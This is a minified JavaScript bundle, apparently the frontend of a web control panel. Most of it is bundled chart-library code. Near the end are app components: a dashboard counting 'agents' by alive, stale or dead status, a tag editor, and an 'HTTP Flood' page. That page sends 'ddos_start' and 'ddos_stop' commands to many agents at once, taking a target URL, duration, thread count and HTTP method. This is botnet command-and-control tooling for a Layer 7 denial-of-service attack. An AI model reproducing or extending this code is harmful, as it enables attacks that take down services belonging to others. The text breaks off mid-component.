he(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.y||0),d)),he(d)?p.createElement("rect",{x:l({points:o,baseLine:l}),[o,l]),g=$d(x,"recharts-area-"),y=$T(),[v,b]=p.useState(!1),w=!v,j=p.useCallback(()=>{typeof h=="function"&&h(),b(!1)},[h]),k=p.useCallback(()=>{typeof m=="function"&&m(),b(!0)},[m]);if(y==null)return null;var S=i.current,N=a.current;return p.createElement(fW,{showLabels:w,points:o},r.children,p.createElement(Rd,{animationId:g,begin:u,duration:d,isActive:c,easing:f,onAnimationEnd:j,onAnimationStart:k,key:g},z=>{if(S){var _=S.length/o.length,A=z===1?o:o.map((P,I)=>{var U=Math.floor(I*_);if(S[U]){var D=S[U];return Oa(Oa({},P),{},{x:St(D.x,P.x,z),y:St(D.y,P.y,z)})}return P}),O;return he(l)?O=St(N,l,z):Pt(l)||lr(l)?O=St(N,0,z):O=l.map((P,I)=>{var U=Math.floor(I*_);if(Array.isArray(N)&&N[U]){var D=N[U];return Oa(Oa({},P),{},{x:St(D.x,P.x,z),y:St(D.y,P.y,z)})}return P}),z>0&&(i.current=A,a.current=O),p.createElement(h2,{points:A,baseLine:O,needClip:t,clipPathId:n,props:r})}return z>0&&(i.current=o,a.current=l),p.createElement(Gt,null,c&&p.createElement("defs",null,p.createElement("clipPath",{id:"animationClipPath-".concat(n)},p.createElement(hW,{alpha:z,points:o,baseLine:l,layout:y,strokeWidth:r.strokeWidth}))),p.createElement(Gt,{clipPath:"url(#animationClipPath-".concat(n,")")},p.createElement(h2,{points:o,baseLine:l,needClip:t,clipPathId:n,props:r})))}),p.createElement(Z3,{label:r.label}))}function vW(e){var{needClip:t,clipPathId:n,props:r}=e,i=p.useRef(null),a=p.useRef();return p.createElement(xW,{needClip:t,clipPathId:n,props:r,previousPointsRef:i,previousBaselineRef:a})}class gW extends p.PureComponent{render(){var{hide:t,dot:n,points:r,className:i,top:a,left:o,needClip:l,xAxisId:c,yAxisId:u,width:d,height:f,id:m,baseLine:h,zIndex:x}=this.props;if(t)return null;var g=Xe("recharts-area",i),y=m,{r:v,strokeWidth:b}=zF(n),w=sS(n),j=v*2+b,k=l?"url(#clipPath-".concat(w?"":"dots-").concat(y,")"):void 0;return p.createElement(Si,{zIndex:x},p.createElement(Gt,{className:g},l&&p.createElement("defs",null,p.createElement(SF,{clipPathId:y,xAxisId:c,yAxisId:u}),!w&&p.createElement("clipPath",{id:"clipPath-dots-".concat(y)},p.createElement("rect",{x:o-j/2,y:a-j/2,width:d+j,height:f+j}))),p.createElement(vW,{needClip:l,clipPathId:y,props:this.props})),p.createElement(u2,{points:r,mainColor:Lu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:k}),this.props.isRange&&Array.isArray(h)&&p.createElement(u2,{points:h,mainColor:Lu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:k}))}}var CS={activeDot:!0,animationBegin:0,animationDuration:1500,animationEasing:"ease",connectNulls:!1,dot:!1,fill:"#3182bd",fillOpacity:.6,hide:!1,isAnimationActive:"auto",legendType:"line",stroke:"#3182bd",strokeWidth:1,type:"linear",label:!1,xAxisId:0,yAxisId:0,zIndex:Ht.area};function yW(e){var t,n=fn(e,CS),{activeDot:r,animationBegin:i,animationDuration:a,animationEasing:o,connectNulls:l,dot:c,fill:u,fillOpacity:d,hide:f,isAnimationActive:m,legendType:h,stroke:x,xAxisId:g,yAxisId:y}=n,v=zS(n,iW),b=us(),w=C3(),{needClip:j}=gS(g,y),k=Kn(),{points:S,isRange:N,baseLine:z}=(t=ye(U=>nW(U,e.id,k)))!==null&&t!==void 0?t:{},_=ov();if(b!=="horizontal"&&b!=="vertical"||_==null||w!=="AreaChart"&&w!=="ComposedChart")return null;var{height:A,width:O,x:P,y:I}=_;return!S||!S.length?null:p.createElement(gW,Ki({},v,{activeDot:r,animationBegin:i,animationDuration:a,animationEasing:o,baseLine:z,connectNulls:l,dot:c,fill:u,fillOpacity:d,height:A,hide:f,layout:b,isAnimationActive:m==="auto"?!Dd.isSsr:m,isRange:N,legendType:h,needClip:j,points:S,stroke:x,width:O,left:P,top:I,xAxisId:g,yAxisId:y}))}var bW=(e,t,n,r,i)=>{var a=n??t;if(he(a))return a;var o=e==="horizontal"?i:r,l=o.scale.domain();if(o.type==="number"){var c=Math.max(l[0],l[1]),u=Math.min(l[0],l[1]);return a==="dataMin"?u:a==="dataMax"||c<0?c:Math.max(Math.min(l[0],l[1]),0)}return a==="dataMin"?l[0]:a==="dataMax"?l[1]:l[0]};function wW(e){var{areaSettings:{connectNulls:t,baseValue:n,dataKey:r},stackedData:i,layout:a,chartBaseValue:o,xAxis:l,yAxis:c,displayedData:u,dataStartIndex:d,xAxisTicks:f,yAxisTicks:m,bandSize:h}=e,x=i&&i.length,g=bW(a,o,n,l,c),y=a==="horizontal",v=!1,b=u.map((j,k)=>{var S,N,z,_;if(x)_=i[d+k];else{var A=Fe(j,r);Array.isArray(A)?(_=A,v=!0):_=[g,A]}var O=(S=(N=_)===null||N===void 0?void 0:N[1])!==null&&S!==void 0?S:null,P=O==null||x&&!t&&Fe(j,r)==null;if(y){var I;return{x:by({axis:l,ticks:f,bandSize:h,entry:j,index:k}),y:P?null:(I=c.scale.map(O))!==null&&I!==void 0?I:null,value:_,payload:j}}return{x:P?null:(z=l.scale.map(O))!==null&&z!==void 0?z:null,y:by({axis:c,ticks:m,bandSize:h,entry:j,index:k}),value:_,payload:j}}),w;return x||v?w=b.map(j=>{var k,S=Array.isArray(j.value)?j.value[0]:null;if(y){var N;return{x:j.x,y:S!=null&&j.y!=null&&(N=c.scale.map(S))!==null&&N!==void 0?N:null,payload:j.payload}}return{x:S!=null&&(k=l.scale.map(S))!==null&&k!==void 0?k:null,y:j.y,payload:j.payload}}):w=y?c.scale.map(g):l.scale.map(g),{points:b,baseLine:w??0,isRange:v}}function jW(e){var t=fn(e,CS),n=Kn();return p.createElement(cS,{id:t.id,type:"area"},r=>p.createElement(p.Fragment,null,p.createElement(dB,{legendPayload:cW(t)}),p.createElement(uW,{dataKey:t.dataKey,data:t.data,stroke:t.stroke,strokeWidth:t.strokeWidth,fill:t.fill,name:t.name,hide:t.hide,unit:t.unit,tooltipType:t.tooltipType,id:r}),p.createElement(SB,{type:"area",id:r,data:t.data,dataKey:t.dataKey,xAxisId:t.xAxisId,yAxisId:t.yAxisId,zAxisId:0,stackId:aT(t.stackId),hide:t.hide,barSize:void 0,baseValue:t.baseValue,isPanorama:n,connectNulls:t.connectNulls}),p.createElement(yW,Ki({},t,{id:r}))))}var PS=p.memo(jW,yS);PS.displayName="Area";var kW=(e,t)=>t,uv=T([kW,Me,A4,wt,b3,Vr,vR,yt],NR),dv=e=>{var t=e.currentTarget.getBoundingClientRect(),n=t.width/e.currentTarget.offsetWidth,r=t.height/e.currentTarget.offsetHeight;return{chartX:Math.round((e.clientX-t.left)/n),chartY:Math.round((e.clientY-t.top)/r)}},ES=zn("mouseClick"),AS=Zo();AS.startListening({actionCreator:ES,effect:(e,t)=>{var n=e.payload,r=uv(t.getState(),dv(n));(r==null?void 0:r.activeIndex)!=null&&t.dispatch(xD({activeIndex:r.activeIndex,activeDataKey:void 0,activeCoordinate:r.activeCoordinate}))}});var mh=zn("mouseMove"),_S=Zo(),ql=null;_S.startListening({actionCreator:mh,effect:(e,t)=>{var n=e.payload;ql!==null&&cancelAnimationFrame(ql);var r=dv(n);ql=requestAnimationFrame(()=>{var i=t.getState(),a=K0(i,i.tooltip.settings.shared);if(a==="axis"){var o=uv(i,r);(o==null?void 0:o.activeIndex)!=null?t.dispatch(d3({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate})):t.dispatch(u3())}ql=null})}});function NW(e,t){return t instanceof HTMLElement?"HTMLElement <".concat(t.tagName,' class="').concat(t.className,'">'):t===window?"global.window":e==="children"&&typeof t=="object"&&t!==null?"<>":t}var x2={accessibilityLayer:!0,barCategoryGap:"10%",barGap:4,barSize:void 0,className:void 0,maxBarSize:void 0,stackOffset:"none",syncId:void 0,syncMethod:"index",baseValue:void 0,reverseStackOrder:!1},OS=Xt({name:"rootProps",initialState:x2,reducers:{updateOptions:(e,t)=>{var n;e.accessibilityLayer=t.payload.accessibilityLayer,e.barCategoryGap=t.payload.barCategoryGap,e.barGap=(n=t.payload.barGap)!==null&&n!==void 0?n:x2.barGap,e.barSize=t.payload.barSize,e.maxBarSize=t.payload.maxBarSize,e.stackOffset=t.payload.stackOffset,e.syncId=t.payload.syncId,e.syncMethod=t.payload.syncMethod,e.className=t.payload.className,e.baseValue=t.payload.baseValue,e.reverseStackOrder=t.payload.reverseStackOrder}}}),SW=OS.reducer,{updateOptions:zW}=OS.actions,CW=null,PW={updatePolarOptions:(e,t)=>t.payload},TS=Xt({name:"polarOptions",initialState:CW,reducers:PW}),{updatePolarOptions:EW}=TS.actions,AW=TS.reducer,MS=zn("keyDown"),LS=zn("focus"),fv=Zo();fv.startListening({actionCreator:MS,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip,a=e.payload;if(!(a!=="ArrowRight"&&a!=="ArrowLeft"&&a!=="Enter")){var o=q0(i,ys(n),ll(n),ul(n)),l=o==null?-1:Number(o);if(!(!Number.isFinite(l)||l<0)){var c=Vr(n);if(a==="Enter"){var u=Eu(n,"axis","hover",String(i.index));t.dispatch(ch({active:!i.active,activeIndex:i.index,activeCoordinate:u}));return}var d=sD(n),f=d==="left-to-right"?1:-1,m=a==="ArrowRight"?1:-1,h=l+m*f;if(!(c==null||h>=c.length||h<0)){var x=Eu(n,"axis","hover",String(h));t.dispatch(ch({active:!0,activeIndex:h.toString(),activeCoordinate:x}))}}}}}});fv.startListening({actionCreator:LS,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip;if(!i.active&&i.index==null){var a="0",o=Eu(n,"axis","hover",String(a));t.dispatch(ch({active:!0,activeIndex:a,activeCoordinate:o}))}}}});var gn=zn("externalEvent"),IS=Zo(),yp=new Map;IS.startListening({actionCreator:gn,effect:(e,t)=>{var{handler:n,reactEvent:r}=e.payload;if(n!=null){r.persist();var i=r.type,a=yp.get(i);a!==void 0&&cancelAnimationFrame(a);var o=requestAnimationFrame(()=>{try{var l=t.getState(),c={activeCoordinate:nR(l),activeDataKey:N3(l),activeIndex:ns(l),activeLabel:k3(l),activeTooltipIndex:ns(l),isTooltipActive:rR(l)};n(c,r)}finally{yp.delete(i)}});yp.set(i,o)}}});var _W=T([vs],e=>e.tooltipItemPayloads),OW=T([_W,(e,t)=>t,(e,t,n)=>n],(e,t,n)=>{if(t!=null){var r=e.find(a=>a.settings.graphicalItemId===n);if(r!=null){var{getPosition:i}=r;if(i!=null)return i(t)}}}),DS=zn("touchMove"),RS=Zo();RS.startListening({actionCreator:DS,effect:(e,t)=>{var n=e.payload;if(!(n.touches==null||n.touches.length===0)){var r=t.getState(),i=K0(r,r.tooltip.settings.shared);if(i==="axis"){var a=n.touches[0];if(a==null)return;var o=uv(r,dv({clientX:a.clientX,clientY:a.clientY,currentTarget:n.currentTarget}));(o==null?void 0:o.activeIndex)!=null&&t.dispatch(d3({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate}))}else if(i==="item"){var l,c=n.touches[0];if(document.elementFromPoint==null||c==null)return;var u=document.elementFromPoint(c.clientX,c.clientY);if(!u||!u.getAttribute)return;var d=u.getAttribute(Jk),f=(l=u.getAttribute(eN))!==null&&l!==void 0?l:void 0,m=gs(r).find(g=>g.id===f);if(d==null||m==null||f==null)return;var{dataKey:h}=m,x=OW(r,d,f);t.dispatch(c3({activeDataKey:h,activeIndex:d,activeCoordinate:x,activeGraphicalItemId:f}))}}}});var TW=kk({brush:gF,cartesianAxis:uF,chartData:e9,errorBars:NF,graphicalItems:kB,layout:XO,legend:JT,options:GR,polarAxis:T$,polarOptions:AW,referenceElements:bF,rootProps:SW,tooltip:vD,zIndex:RR}),MW=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"Chart";return wO({reducer:TW,preloadedState:t,middleware:r=>{var i;return r({serializableCheck:!1,immutableCheck:!["commonjs","es6","production"].includes((i="es6")!==null&&i!==void 0?i:"")}).concat([AS.middleware,_S.middleware,fv.middleware,IS.middleware,RS.middleware])},enhancers:r=>{var i=r;return typeof r=="function"&&(i=r()),i.concat(Rk({type:"raf"}))},devTools:{serialize:{replacer:NW},name:"recharts-".concat(n)}})};function $S(e){var{preloadedState:t,children:n,reduxStoreName:r}=e,i=Kn(),a=p.useRef(null);if(i)return n;a.current==null&&(a.current=MW(t,r));var o=Mx;return p.createElement(YF,{context:o,store:a.current},n)}function LW(e){var{layout:t,margin:n}=e,r=it(),i=Kn();return p.useEffect(()=>{i||(r(qO(t)),r(KO(n)))},[r,i,t,n]),null}var BS=p.memo(LW,yS);function FS(e){var t=it();return p.useEffect(()=>{t(zW(e))},[t,e]),null}function v2(e){var{zIndex:t,isPanorama:n}=e,r=p.useRef(null),i=it();return p.useLayoutEffect(()=>(r.current&&i(IR({zIndex:t,element:r.current,isPanorama:n})),()=>{i(DR({zIndex:t,isPanorama:n}))}),[i,t,n]),p.createElement("g",{tabIndex:-1,ref:r})}function g2(e){var{children:t,isPanorama:n}=e,r=ye(zR);if(!r||r.length===0)return t;var i=r.filter(o=>o<0),a=r.filter(o=>o>0);return p.createElement(p.Fragment,null,i.map(o=>p.createElement(v2,{key:o,zIndex:o,isPanorama:n})),t,a.map(o=>p.createElement(v2,{key:o,zIndex:o,isPanorama:n})))}var IW=["children"];function DW(e,t){if(e==null)return{};var n,r,i=RW(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var n=DT(),r=RT(),i=gN();if(!vi(n)||!vi(r))return null;var{children:a,otherAttributes:o,title:l,desc:c}=e,u,d;return o!=null&&(typeof o.tabIndex=="number"?u=o.tabIndex:u=i?0:void 0,typeof o.role=="string"?d=o.role:d=i?"application":void 0),p.createElement(kj,Iu({},o,{title:l,desc:c,role:d,tabIndex:u,width:n,height:r,style:$W,ref:t}),a)}),FW=e=>{var{children:t}=e,n=ye(Od);if(!n)return null;var{width:r,height:i,y:a,x:o}=n;return p.createElement(kj,{width:r,height:i,x:o,y:a},t)},y2=p.forwardRef((e,t)=>{var{children:n}=e,r=DW(e,IW),i=Kn();return i?p.createElement(FW,null,p.createElement(g2,{isPanorama:!0},n)):p.createElement(BW,Iu({ref:t},r),p.createElement(g2,{isPanorama:!1},n))});function WW(){var e=it(),[t,n]=p.useState(null),r=ye(dT);return p.useEffect(()=>{if(t!=null){var i=t.getBoundingClientRect(),a=i.width/t.offsetWidth;ze(a)&&a!==r&&e(GO(a))}},[t,e,r]),n}function b2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function UW(e){for(var t=1;t(c9(),null);function Du(e){if(typeof e=="number")return e;if(typeof e=="string"){var t=parseFloat(e);if(!Number.isNaN(t))return t}return 0}var YW=p.forwardRef((e,t)=>{var n,r,i=p.useRef(null),[a,o]=p.useState({containerWidth:Du((n=e.style)===null||n===void 0?void 0:n.width),containerHeight:Du((r=e.style)===null||r===void 0?void 0:r.height)}),l=p.useCallback((u,d)=>{o(f=>{var m=Math.round(u),h=Math.round(d);return f.containerWidth===m&&f.containerHeight===h?f:{containerWidth:m,containerHeight:h}})},[]),c=p.useCallback(u=>{if(typeof t=="function"&&t(u),u!=null&&typeof ResizeObserver<"u"){var{width:d,height:f}=u.getBoundingClientRect();l(d,f);var m=x=>{var g=x[0];if(g!=null){var{width:y,height:v}=g.contentRect;l(y,v)}},h=new ResizeObserver(m);h.observe(u),i.current=h}},[t,l]);return p.useEffect(()=>()=>{var u=i.current;u!=null&&u.disconnect()},[l]),p.createElement(p.Fragment,null,p.createElement(Jo,{width:a.containerWidth,height:a.containerHeight}),p.createElement("div",pi({ref:c},e)))}),GW=p.forwardRef((e,t)=>{var{width:n,height:r}=e,[i,a]=p.useState({containerWidth:Du(n),containerHeight:Du(r)}),o=p.useCallback((c,u)=>{a(d=>{var f=Math.round(c),m=Math.round(u);return d.containerWidth===f&&d.containerHeight===m?d:{containerWidth:f,containerHeight:m}})},[]),l=p.useCallback(c=>{if(typeof t=="function"&&t(c),c!=null){var{width:u,height:d}=c.getBoundingClientRect();o(u,d)}},[t,o]);return p.createElement(p.Fragment,null,p.createElement(Jo,{width:i.containerWidth,height:i.containerHeight}),p.createElement("div",pi({ref:l},e)))}),XW=p.forwardRef((e,t)=>{var{width:n,height:r}=e;return p.createElement(p.Fragment,null,p.createElement(Jo,{width:n,height:r}),p.createElement("div",pi({ref:t},e)))}),ZW=p.forwardRef((e,t)=>{var{width:n,height:r}=e;return typeof n=="string"||typeof r=="string"?p.createElement(GW,pi({},e,{ref:t})):typeof n=="number"&&typeof r=="number"?p.createElement(XW,pi({},e,{width:n,height:r,ref:t})):p.createElement(p.Fragment,null,p.createElement(Jo,{width:n,height:r}),p.createElement("div",pi({ref:t},e)))});function QW(e){return e?YW:ZW}var JW=p.forwardRef((e,t)=>{var{children:n,className:r,height:i,onClick:a,onContextMenu:o,onDoubleClick:l,onMouseDown:c,onMouseEnter:u,onMouseLeave:d,onMouseMove:f,onMouseUp:m,onTouchEnd:h,onTouchMove:x,onTouchStart:g,style:y,width:v,responsive:b,dispatchTouchEvents:w=!0}=e,j=p.useRef(null),k=it(),[S,N]=p.useState(null),[z,_]=p.useState(null),A=WW(),O=Ux(),P=(O==null?void 0:O.width)>0?O.width:v,I=(O==null?void 0:O.height)>0?O.height:i,U=p.useCallback(C=>{A(C),typeof t=="function"&&t(C),N(C),_(C),C!=null&&(j.current=C)},[A,t,N,_]),D=p.useCallback(C=>{k(ES(C)),k(gn({handler:a,reactEvent:C}))},[k,a]),M=p.useCallback(C=>{k(mh(C)),k(gn({handler:u,reactEvent:C}))},[k,u]),F=p.useCallback(C=>{k(u3()),k(gn({handler:d,reactEvent:C}))},[k,d]),R=p.useCallback(C=>{k(mh(C)),k(gn({handler:f,reactEvent:C}))},[k,f]),W=p.useCallback(()=>{k(LS())},[k]),$=p.useCallback(C=>{k(MS(C.key))},[k]),H=p.useCallback(C=>{k(gn({handler:o,reactEvent:C}))},[k,o]),X=p.useCallback(C=>{k(gn({handler:l,reactEvent:C}))},[k,l]),se=p.useCallback(C=>{k(gn({handler:c,reactEvent:C}))},[k,c]),ue=p.useCallback(C=>{k(gn({handler:m,reactEvent:C}))},[k,m]),ge=p.useCallback(C=>{k(gn({handler:g,reactEvent:C}))},[k,g]),xe=p.useCallback(C=>{w&&k(DS(C)),k(gn({handler:x,reactEvent:C}))},[k,w,x]),Y=p.useCallback(C=>{k(gn({handler:h,reactEvent:C}))},[k,h]),ee=QW(b);return p.createElement(O3.Provider,{value:S},p.createElement(m_.Provider,{value:z},p.createElement(ee,{width:P??(y==null?void 0:y.width),height:I??(y==null?void 0:y.height),className:Xe("recharts-wrapper",r),style:UW({position:"relative",cursor:"default",width:P,height:I},y),onClick:D,onContextMenu:H,onDoubleClick:X,onFocus:W,onKeyDown:$,onMouseDown:se,onMouseEnter:M,onMouseLeave:F,onMouseMove:R,onMouseUp:ue,onTouchEnd:Y,onTouchMove:xe,onTouchStart:ge,ref:U},p.createElement(qW,null),n)))}),eU=["width","height","responsive","children","className","style","compact","title","desc"];function tU(e,t){if(e==null)return{};var n,r,i=nU(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var{width:n,height:r,responsive:i,children:a,className:o,style:l,compact:c,title:u,desc:d}=e,f=tU(e,eU),m=Cr(f);return c?p.createElement(p.Fragment,null,p.createElement(Jo,{width:n,height:r}),p.createElement(y2,{otherAttributes:m,title:u,desc:d},a)):p.createElement(JW,{className:o,style:l,width:n,height:r,responsive:i??!1,onClick:e.onClick,onMouseLeave:e.onMouseLeave,onMouseEnter:e.onMouseEnter,onMouseMove:e.onMouseMove,onMouseDown:e.onMouseDown,onMouseUp:e.onMouseUp,onContextMenu:e.onContextMenu,onDoubleClick:e.onDoubleClick,onTouchStart:e.onTouchStart,onTouchMove:e.onTouchMove,onTouchEnd:e.onTouchEnd},p.createElement(y2,{otherAttributes:m,title:u,desc:d,ref:t},p.createElement(jF,null,a)))});function hh(){return hh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{t(EW(e))},[t,e]),null}var oU=["layout"];function xh(){return xh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=fn(e,xU);return p.createElement(dU,{chartName:"PieChart",defaultTooltipEventType:"item",validateTooltipEventTypes:hU,tooltipPayloadSearcher:M3,categoricalChartProps:n,ref:t})}),gU=["axis"],yU=p.forwardRef((e,t)=>p.createElement(aU,{chartName:"AreaChart",defaultTooltipEventType:"axis",validateTooltipEventTypes:gU,tooltipPayloadSearcher:M3,categoricalChartProps:e,ref:t}));function bU({agents:e}){const t=p.useMemo(()=>{const i=Date.now(),a=24*60*60*1e3,o=24,l=a/o,c=[];for(let u=0;unew Date(x.first_seen).getTime()<=d+l).length;c.push({time:m,count:h})}return c},[e]),n=p.useMemo(()=>{const i=e.filter(l=>l.status==="alive").length,a=e.filter(l=>l.status==="stale").length,o=e.filter(l=>l.status==="dead").length;return[{name:"Alive",value:i,color:"#06B6D4"},{name:"Stale",value:a,color:"#71717A"},{name:"Dead",value:o,color:"#3F3F46"}].filter(l=>l.value>0)},[e]),r=p.useId().replace(/:/g,"_")+"_agentFill";return e.length===0?null:s.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3 mb-6",children:[s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Agent Count (24h)"}),s.jsx("div",{style:{height:100},children:s.jsx(Py,{width:"100%",height:"100%",children:s.jsxs(yU,{data:t,margin:{top:0,right:0,bottom:0,left:0},children:[s.jsx("defs",{children:s.jsxs("linearGradient",{id:r,x1:"0",y1:"0",x2:"0",y2:"1",children:[s.jsx("stop",{offset:"0%",stopColor:"#06B6D4",stopOpacity:.2}),s.jsx("stop",{offset:"100%",stopColor:"#06B6D4",stopOpacity:0})]})}),s.jsx(Pb,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"},labelStyle:{color:"#71717A"}}),s.jsx(PS,{type:"monotone",dataKey:"count",stroke:"#06B6D4",strokeWidth:1.5,fill:`url(#${r})`,dot:!1,activeDot:{r:3,fill:"#06B6D4",stroke:"#09090B",strokeWidth:2}})]})})})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Status Breakdown"}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx("div",{style:{width:100,height:100},children:s.jsx(Py,{width:"100%",height:"100%",children:s.jsxs(vU,{children:[s.jsx(dS,{data:n,cx:"50%",cy:"50%",innerRadius:30,outerRadius:45,paddingAngle:2,dataKey:"value",stroke:"none",children:n.map((i,a)=>s.jsx(nf,{fill:i.color},a))}),s.jsx(Pb,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"}})]})})}),s.jsx("div",{className:"space-y-2",children:n.map(i=>s.jsxs("div",{className:"flex items-center gap-2 text-xs",children:[s.jsx("span",{className:"w-2 h-2 rounded-full",style:{backgroundColor:i.color}}),s.jsx("span",{className:"text-zerin-text-dim",children:i.name}),s.jsx("span",{className:"text-zerin-text font-mono font-medium",children:i.value})]},i.name))})]})]})]})}function wU({tags:e,onChange:t,readOnly:n=!1}){const[r,i]=p.useState(""),[a,o]=p.useState(!1),l=p.useRef(null),c=p.useCallback(()=>{const f=r.trim().toLowerCase();if(!f||e.includes(f)){i("");return}t([...e,f]),i(""),o(!1)},[r,e,t]),u=p.useCallback(f=>{t(e.filter(m=>m!==f))},[e,t]),d=f=>{f.key==="Enter"&&(f.preventDefault(),c()),f.key==="Escape"&&(o(!1),i(""))};return s.jsxs("div",{className:"flex flex-wrap items-center gap-1.5",children:[e.map(f=>s.jsxs("span",{className:`inline-flex items-center gap-1 px-2 py-0.5 text-xs font-medium\r bg-zerin-panel-hover text-zerin-text-dim border border-zerin-panel-border`,children:[f,!n&&s.jsx("button",{onClick:()=>u(f),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors ml-0.5",children:s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},f)),!n&&s.jsx(s.Fragment,{children:a?s.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),onKeyDown:d,onBlur:()=>{r.trim()?c():o(!1)},autoFocus:!0,placeholder:"tag name",className:`w-20 bg-zerin-bg border border-zerin-panel-border px-1.5 py-0.5\r text-xs text-zerin-text placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 transition-all`}):s.jsxs("button",{onClick:()=>{o(!0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50)},className:`inline-flex items-center gap-0.5 px-1.5 py-0.5 text-xs\r text-zerin-text-muted hover:text-zerin-accent\r border border-dashed border-zerin-panel-border hover:border-zerin-accent/40\r transition-colors`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 4v16m8-8H4"})}),"tag"]})})]})}const jU=["GET","POST","HEAD"],kU=[{label:"30s",value:30},{label:"60s",value:60},{label:"5m",value:300},{label:"10m",value:600}];function VS({agentIds:e,agentStatus:t}){const[n,r]=p.useState(""),[i,a]=p.useState(60),[o,l]=p.useState(10),[c,u]=p.useState("GET"),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(!1),[y,v]=p.useState([]),b=t==="dead",w=e.length,j=(N,z)=>{h({text:N,type:z}),setTimeout(()=>h(null),5e3)},k=async()=>{if(!n.trim()){j("Target URL is required","err");return}f(!0),v([]);try{const z=(await Promise.allSettled(e.map(A=>Ee(A,{command:"ddos_start",args:[n.trim(),String(i),String(o),c]})))).map((A,O)=>({agentId:e[O],ok:A.status==="fulfilled",error:A.status==="rejected"?A.reason instanceof Error?A.reason.message:"Failed":void 0}));v(z);const _=z.filter(A=>A.ok).length;g(_>0),_===w?j(`Flood started on ${w} agent${w!==1?"s":""}: ${c} ${n} | ${o} threads | ${i}s`,"ok"):j(`Started on ${_}/${w} agents (${w-_} failed)`,_>0?"ok":"err")}catch(N){j(N instanceof Error?N.message:"Failed to start","err")}finally{f(!1)}},S=async()=>{f(!0),v([]);try{const z=(await Promise.allSettled(e.map(A=>Ee(A,{command:"ddos_stop"})))).map((A,O)=>({agentId:e[O],ok:A.status==="fulfilled",error:A.status==="rejected"?A.reason instanceof Error?A.reason.message:"Failed":void 0}));v(z),g(!1);const _=z.filter(A=>A.ok).length;j(`Stop sent to ${_}/${w} agent${w!==1?"s":""}`,"ok")}catch(N){j(N instanceof Error?N.message:"Failed to stop","err")}finally{f(!1)}};return s.jsx("div",{className:"p-6 animate-fade-in",children:s.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 bg-red-500/10 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-red-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})})}),s.jsxs("div",{children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"HTTP Flood"}),s.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Layer 7 HTTP flood attack",w>1&&s.jsxs("span",{className:"ml-1 text-zerin-accent font-medium",children:["(",w," agents)"]})]})]}),x&&s.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-red-400",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-red-400 animate-pulse"}),"ACTIVE"]})]}),m&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${m.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:m.text}),y.length>1&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border p-3 space-y-1 max-h-32 overflow-y-auto",children:y.map(N=>s.jsxs("div",{className:"flex items-center gap-2 text-xs font-mono",children:[s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${N.ok?"bg-emerald-400":"bg-red-400"}`}),s.jsx("span",{className:"text-zerin-text-dim",children:N.agentId.slice(0,8)}),s.jsx("span",{className:N.ok?"text-emerald-400":"text-red-400",children:N.ok?"OK":N.error})]},N.agentId))}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase 